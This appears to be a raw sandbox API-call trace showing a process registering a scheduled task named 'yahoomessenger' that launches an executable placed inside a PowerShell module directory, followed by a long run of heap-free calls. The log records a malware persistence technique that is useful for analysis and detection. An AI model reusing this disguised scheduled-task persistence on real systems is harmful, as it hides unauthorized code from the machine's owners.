0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x47) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0066.721] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.722] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0066.722] IUnknown:Release (This=0x5269c0) returned 0x1 [0066.722] IUnknown:Release (This=0x5265f0) returned 0x1 [0066.723] ITaskDefinition:get_Triggers (in: This=0x526530, ppTriggers=0x1fcc00 | out: ppTriggers=0x1fcc00*=0x526730) returned 0x0 [0066.723] ITriggerCollection:Create (in: This=0x526730, Type=9, ppTrigger=0x1fcbf8 | out: ppTrigger=0x1fcbf8*=0x526a30) returned 0x0 [0066.723] IUnknown:QueryInterface (in: This=0x526a30, riid=0xffd71c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x1fcbf0 | out: ppvObject=0x1fcbf0*=0x526a30) returned 0x0 [0066.723] IUnknown:Release (This=0x526a30) returned 0x2 [0066.723] _vsnwprintf (in: _Buffer=0x1fcb40, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1fcb18 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0066.723] ITrigger:put_StartBoundary (This=0x526a30, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0066.723] lstrlenW (lpString="") returned 0 [0066.723] lstrlenW (lpString="") returned 0 [0066.723] lstrlenW (lpString="") returned 0 [0066.723] lstrlenW (lpString="") returned 0 [0066.723] IUnknown:Release (This=0x526a30) returned 0x1 [0066.723] IUnknown:Release (This=0x526730) returned 0x1 [0066.723] ITaskDefinition:get_Settings (in: This=0x526530, ppSettings=0x1fd0a0 | out: ppSettings=0x1fd0a0*=0x5267a0) returned 0x0 [0066.724] lstrlenW (lpString="") returned 0 [0066.724] IUnknown:Release (This=0x5267a0) returned 0x1 [0066.724] GetLocalTime (in: lpSystemTime=0x1fcf58 | out: lpSystemTime=0x1fcf58*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x33, wMilliseconds=0x10d)) [0066.724] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0066.724] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0066.724] GetUserNameW (in: lpBuffer=0x1fcf80, pcbBuffer=0x1fcf68 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1fcf68) returned 1 [0066.724] ITaskDefinition:get_RegistrationInfo (in: This=0x526530, ppRegistrationInfo=0x1fcf50 | out: ppRegistrationInfo=0x1fcf50*=0x526670) returned 0x0 [0066.725] IRegistrationInfo:put_Author (This=0x526670, Author="") returned 0x0 [0066.725] _vsnwprintf (in: _Buffer=0x1fcf80, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1fcf18 | out: _Buffer="2023-09-19T17:16:51") returned 19 [0066.725] IRegistrationInfo:put_Date (This=0x526670, Date="") returned 0x0 [0066.725] IUnknown:Release (This=0x526670) returned 0x1 [0066.725] malloc (_Size=0x18) returned 0x34df90 [0066.725] free (_Block=0x34df90) [0066.725] lstrlenW (lpString="") returned 0 [0066.725] ITaskDefinition:get_Principal (in: This=0x526530, ppPrincipal=0x1fd170 | out: ppPrincipal=0x1fd170*=0x526910) returned 0x0 [0066.725] IPrincipal:put_RunLevel (This=0x526910, RunLevel=1) returned 0x0 [0066.725] IUnknown:Release (This=0x526910) returned 0x1 [0066.725] malloc (_Size=0x18) returned 0x34df90 [0066.726] ITaskFolder:RegisterTaskDefinition (in: This=0x527f40, Path="yahoomessenger", pDefinition=0x526530, flags=6, UserId=0x1fd1f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1fd230*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1ff100, varVal2=0xfe), LogonType=3, sddl=0x1fd210*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1fd110 | out: ppTask=0x1fd110*=0x526c90) returned 0x0 [0067.318] free (_Block=0x34df90) [0067.319] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.319] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0067.319] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0067.319] GetProcessHeap () returned 0x240000 [0067.319] GetProcessHeap () returned 0x240000 [0067.319] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d780) returned 1 [0067.319] GetProcessHeap () returned 0x240000 [0067.319] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d780) returned 0xe [0067.319] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d780 | out: hHeap=0x240000) returned 1 [0067.319] GetProcessHeap () returned 0x240000 [0067.319] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x82) returned 0x279ec0 [0067.319] _vsnwprintf (in: _Buffer=0x1fd850, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1fd0b8 | out: _Buffer="SUCCESS: The scheduled task \"yahoomessenger\" has successfully been created.\n") returned 76 [0067.319] _fileno (_File=0x7feffe22ab0) returned -2 [0067.319] _errno () returned 0x524bb0 [0067.319] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0067.319] SetLastError (dwErrCode=0x6) [0067.319] lstrlenW (lpString="SUCCESS: The scheduled task \"yahoomessenger\" has successfully been created.\n") returned 76 [0067.320] GetConsoleOutputCP () returned 0x0 [0067.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yahoomessenger\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0067.320] GetConsoleOutputCP () returned 0x0 [0067.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yahoomessenger\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0xffdb1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"yahoomessenger\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 76 [0067.320] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 76 [0067.320] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0067.320] IUnknown:Release (This=0x526c90) returned 0x0 [0067.320] TaskScheduler:IUnknown:Release (This=0x526530) returned 0x0 [0067.320] TaskScheduler:IUnknown:Release (This=0x527f40) returned 0x0 [0067.320] TaskScheduler:IUnknown:Release (This=0x34dee0) returned 0x1 [0067.320] lstrlenW (lpString="") returned 0 [0067.320] GetProcessHeap () returned 0x240000 [0067.320] GetProcessHeap () returned 0x240000 [0067.320] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c6b0) returned 1 [0067.321] GetProcessHeap () returned 0x240000 [0067.321] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c6b0) returned 0x1fc [0067.321] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c6b0 | out: hHeap=0x240000) returned 1 [0067.321] GetProcessHeap () returned 0x240000 [0067.321] GetProcessHeap () returned 0x240000 [0067.321] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d700) returned 1 [0067.321] GetProcessHeap () returned 0x240000 [0067.322] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d700) returned 0x16 [0067.322] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d700 | out: hHeap=0x240000) returned 1 [0067.322] GetProcessHeap () returned 0x240000 [0067.322] GetProcessHeap () returned 0x240000 [0067.322] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6e0) returned 1 [0067.322] GetProcessHeap () returned 0x240000 [0067.322] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d6e0) returned 0x18 [0067.322] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6e0 | out: hHeap=0x240000) returned 1 [0067.322] GetProcessHeap () returned 0x240000 [0067.322] GetProcessHeap () returned 0x240000 [0067.322] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cfa0) returned 1 [0067.322] GetProcessHeap () returned 0x240000 [0067.322] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cfa0) returned 0x20 [0067.323] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cfa0 | out: hHeap=0x240000) returned 1 [0067.323] GetProcessHeap () returned 0x240000 [0067.323] GetProcessHeap () returned 0x240000 [0067.323] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c1f0) returned 1 [0067.323] GetProcessHeap () returned 0x240000 [0067.324] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c1f0) returned 0xa0 [0067.324] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c1f0 | out: hHeap=0x240000) returned 1 [0067.324] GetProcessHeap () returned 0x240000 [0067.324] GetProcessHeap () returned 0x240000 [0067.324] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc70) returned 1 [0067.324] GetProcessHeap () returned 0x240000 [0067.325] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bc70) returned 0x18 [0067.325] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc70 | out: hHeap=0x240000) returned 1 [0067.325] GetProcessHeap () returned 0x240000 [0067.325] GetProcessHeap () returned 0x240000 [0067.325] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd30) returned 1 [0067.325] GetProcessHeap () returned 0x240000 [0067.325] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd30) returned 0x20 [0067.326] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd30 | out: hHeap=0x240000) returned 1 [0067.326] GetProcessHeap () returned 0x240000 [0067.326] GetProcessHeap () returned 0x240000 [0067.326] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5e0) returned 1 [0067.326] GetProcessHeap () returned 0x240000 [0067.326] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5e0) returned 0xc4 [0067.327] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5e0 | out: hHeap=0x240000) returned 1 [0067.327] GetProcessHeap () returned 0x240000 [0067.327] GetProcessHeap () returned 0x240000 [0067.327] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d720) returned 1 [0067.327] GetProcessHeap () returned 0x240000 [0067.327] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d720) returned 0x18 [0067.327] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d720 | out: hHeap=0x240000) returned 1 [0067.327] GetProcessHeap () returned 0x240000 [0067.327] GetProcessHeap () returned 0x240000 [0067.327] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd00) returned 1 [0067.327] GetProcessHeap () returned 0x240000 [0067.327] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd00) returned 0x20 [0067.328] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd00 | out: hHeap=0x240000) returned 1 [0067.328] GetProcessHeap () returned 0x240000 [0067.328] GetProcessHeap () returned 0x240000 [0067.328] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c510) returned 1 [0067.328] GetProcessHeap () returned 0x240000 [0067.328] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c510) returned 0xc6 [0067.330] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c510 | out: hHeap=0x240000) returned 1 [0067.330] GetProcessHeap () returned 0x240000 [0067.330] GetProcessHeap () returned 0x240000 [0067.330] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c4f0) returned 1 [0067.330] GetProcessHeap () returned 0x240000 [0067.330] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c4f0) returned 0x18 [0067.330] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c4f0 | out: hHeap=0x240000) returned 1 [0067.330] GetProcessHeap () returned 0x240000 [0067.330] GetProcessHeap () returned 0x240000 [0067.330] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ccd0) returned 1 [0067.330] GetProcessHeap () returned 0x240000 [0067.330] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ccd0) returned 0x20 [0067.331] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ccd0 | out: hHeap=0x240000) returned 1 [0067.331] GetProcessHeap () returned 0x240000 [0067.331] GetProcessHeap () returned 0x240000 [0067.331] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c4d0) returned 1 [0067.331] GetProcessHeap () returned 0x240000 [0067.331] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c4d0) returned 0xe [0067.331] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c4d0 | out: hHeap=0x240000) returned 1 [0067.331] GetProcessHeap () returned 0x240000 [0067.331] GetProcessHeap () returned 0x240000 [0067.331] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c4b0) returned 1 [0067.331] GetProcessHeap () returned 0x240000 [0067.331] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c4b0) returned 0x18 [0067.331] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c4b0 | out: hHeap=0x240000) returned 1 [0067.331] GetProcessHeap () returned 0x240000 [0067.331] GetProcessHeap () returned 0x240000 [0067.331] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255f00) returned 1 [0067.331] GetProcessHeap () returned 0x240000 [0067.331] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255f00) returned 0x20 [0067.332] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255f00 | out: hHeap=0x240000) returned 1 [0067.332] GetProcessHeap () returned 0x240000 [0067.332] GetProcessHeap () returned 0x240000 [0067.332] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bdf0) returned 1 [0067.332] GetProcessHeap () returned 0x240000 [0067.332] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bdf0) returned 0x208 [0067.332] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bdf0 | out: hHeap=0x240000) returned 1 [0067.332] GetProcessHeap () returned 0x240000 [0067.333] GetProcessHeap () returned 0x240000 [0067.333] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc50) returned 1 [0067.333] GetProcessHeap () returned 0x240000 [0067.333] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bc50) returned 0x18 [0067.333] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc50 | out: hHeap=0x240000) returned 1 [0067.333] GetProcessHeap () returned 0x240000 [0067.333] GetProcessHeap () returned 0x240000 [0067.333] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255e10) returned 1 [0067.333] GetProcessHeap () returned 0x240000 [0067.333] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255e10) returned 0x20 [0067.333] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255e10 | out: hHeap=0x240000) returned 1 [0067.333] GetProcessHeap () returned 0x240000 [0067.333] GetProcessHeap () returned 0x240000 [0067.334] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d4a0) returned 1 [0067.334] GetProcessHeap () returned 0x240000 [0067.334] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d4a0) returned 0x200 [0067.336] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d4a0 | out: hHeap=0x240000) returned 1 [0067.336] GetProcessHeap () returned 0x240000 [0067.336] GetProcessHeap () returned 0x240000 [0067.336] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc90) returned 1 [0067.336] GetProcessHeap () returned 0x240000 [0067.336] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bc90) returned 0x18 [0067.336] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc90 | out: hHeap=0x240000) returned 1 [0067.336] GetProcessHeap () returned 0x240000 [0067.336] GetProcessHeap () returned 0x240000 [0067.336] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255d80) returned 1 [0067.336] GetProcessHeap () returned 0x240000 [0067.336] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255d80) returned 0x20 [0067.336] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255d80 | out: hHeap=0x240000) returned 1 [0067.337] GetProcessHeap () returned 0x240000 [0067.337] GetProcessHeap () returned 0x240000 [0067.337] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c400) returned 1 [0067.337] GetProcessHeap () returned 0x240000 [0067.337] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c400) returned 0x14 [0067.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c400 | out: hHeap=0x240000) returned 1 [0067.337] GetProcessHeap () returned 0x240000 [0067.337] GetProcessHeap () returned 0x240000 [0067.337] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3e0) returned 1 [0067.337] GetProcessHeap () returned 0x240000 [0067.337] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c3e0) returned 0x18 [0067.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3e0 | out: hHeap=0x240000) returned 1 [0067.337] GetProcessHeap () returned 0x240000 [0067.337] GetProcessHeap () returned 0x240000 [0067.337] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255cc0) returned 1 [0067.337] GetProcessHeap () returned 0x240000 [0067.337] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255cc0) returned 0x20 [0067.338] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255cc0 | out: hHeap=0x240000) returned 1 [0067.344] GetProcessHeap () returned 0x240000 [0067.344] GetProcessHeap () returned 0x240000 [0067.344] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c420) returned 1 [0067.344] GetProcessHeap () returned 0x240000 [0067.344] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c420) returned 0x16 [0067.344] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c420 | out: hHeap=0x240000) returned 1 [0067.344] GetProcessHeap () returned 0x240000 [0067.344] GetProcessHeap () returned 0x240000 [0067.344] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c2a0) returned 1 [0067.344] GetProcessHeap () returned 0x240000 [0067.344] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c2a0) returned 0x18 [0067.344] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c2a0 | out: hHeap=0x240000) returned 1 [0067.344] GetProcessHeap () returned 0x240000 [0067.344] GetProcessHeap () returned 0x240000 [0067.344] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c90) returned 1 [0067.344] GetProcessHeap () returned 0x240000 [0067.344] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c90) returned 0x20 [0067.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c90 | out: hHeap=0x240000) returned 1 [0067.345] GetProcessHeap () returned 0x240000 [0067.345] GetProcessHeap () returned 0x240000 [0067.345] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bbd0) returned 1 [0067.345] GetProcessHeap () returned 0x240000 [0067.345] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bbd0) returned 0x2 [0067.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bbd0 | out: hHeap=0x240000) returned 1 [0067.345] GetProcessHeap () returned 0x240000 [0067.345] GetProcessHeap () returned 0x240000 [0067.345] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255ae0) returned 1 [0067.345] GetProcessHeap () returned 0x240000 [0067.345] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255ae0) returned 0x20 [0067.346] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255ae0 | out: hHeap=0x240000) returned 1 [0067.346] GetProcessHeap () returned 0x240000 [0067.346] GetProcessHeap () returned 0x240000 [0067.346] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b10) returned 1 [0067.346] GetProcessHeap () returned 0x240000 [0067.346] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b10) returned 0x20 [0067.347] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b10 | out: hHeap=0x240000) returned 1 [0067.347] GetProcessHeap () returned 0x240000 [0067.347] GetProcessHeap () returned 0x240000 [0067.347] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b40) returned 1 [0067.347] GetProcessHeap () returned 0x240000 [0067.347] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b40) returned 0x20 [0067.347] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b40 | out: hHeap=0x240000) returned 1 [0067.347] GetProcessHeap () returned 0x240000 [0067.347] GetProcessHeap () returned 0x240000 [0067.347] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70) returned 1 [0067.347] GetProcessHeap () returned 0x240000 [0067.347] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b70) returned 0x20 [0067.348] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0067.348] GetProcessHeap () returned 0x240000 [0067.348] GetProcessHeap () returned 0x240000 [0067.348] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd60) returned 1 [0067.348] GetProcessHeap () returned 0x240000 [0067.348] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd60) returned 0x20 [0067.348] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd60 | out: hHeap=0x240000) returned 1 [0067.348] GetProcessHeap () returned 0x240000 [0067.348] GetProcessHeap () returned 0x240000 [0067.348] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d820) returned 1 [0067.348] GetProcessHeap () returned 0x240000 [0067.348] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d820) returned 0xc [0067.348] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d820 | out: hHeap=0x240000) returned 1 [0067.348] GetProcessHeap () returned 0x240000 [0067.349] GetProcessHeap () returned 0x240000 [0067.349] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd90) returned 1 [0067.349] GetProcessHeap () returned 0x240000 [0067.349] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd90) returned 0x20 [0067.349] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd90 | out: hHeap=0x240000) returned 1 [0067.349] GetProcessHeap () returned 0x240000 [0067.349] 